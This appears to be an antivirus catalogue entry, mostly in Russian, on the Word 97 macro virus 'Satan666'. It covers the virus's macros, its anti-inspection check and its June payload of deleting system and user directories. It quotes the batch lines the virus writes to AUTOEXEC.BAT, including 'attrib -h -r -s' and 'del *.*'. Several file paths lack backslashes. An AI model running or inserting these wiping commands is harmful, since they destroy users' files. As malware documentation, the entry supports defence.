Virus.MSWord.Satan

Technical Details

Cодержит 14 макросов в модуле “Satan666”: Satan666, FileOpen, FileClose,
FileSaveAs, FileSave, FileNew, AutoExec, AutoNew, AutoSave, AutoClose,
AutoOpen, ToolsOptions, ViewVBCode, ToolsMacro. Заражение системы и документов происходит при запуске любого из макросов.
Просмотр кода вируса (макросы ViewVBCode и ToolsMacro) возможен только если
первая строка в файле C:AUTOEXEC.BAT содержит текст:

REM Hail Satan!

Иначе вирус блокирует работу этих пунктов меню и выводит MessageBox:

Microsoft Visual Basic
Sub or Function not defined

В июне вирус стирает файлы и каталоги:

c:windows*.*
c:windowssystem*.*
c:My Documents

После чего добавляет в файл C:AUTOEXEC.BAT строки:

@echo off
cls
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Y>Yes
attrib -h -r -s
del *.* 

Затем выдает MessageBox:
Satan666 Word97 Virus
Hail Satan!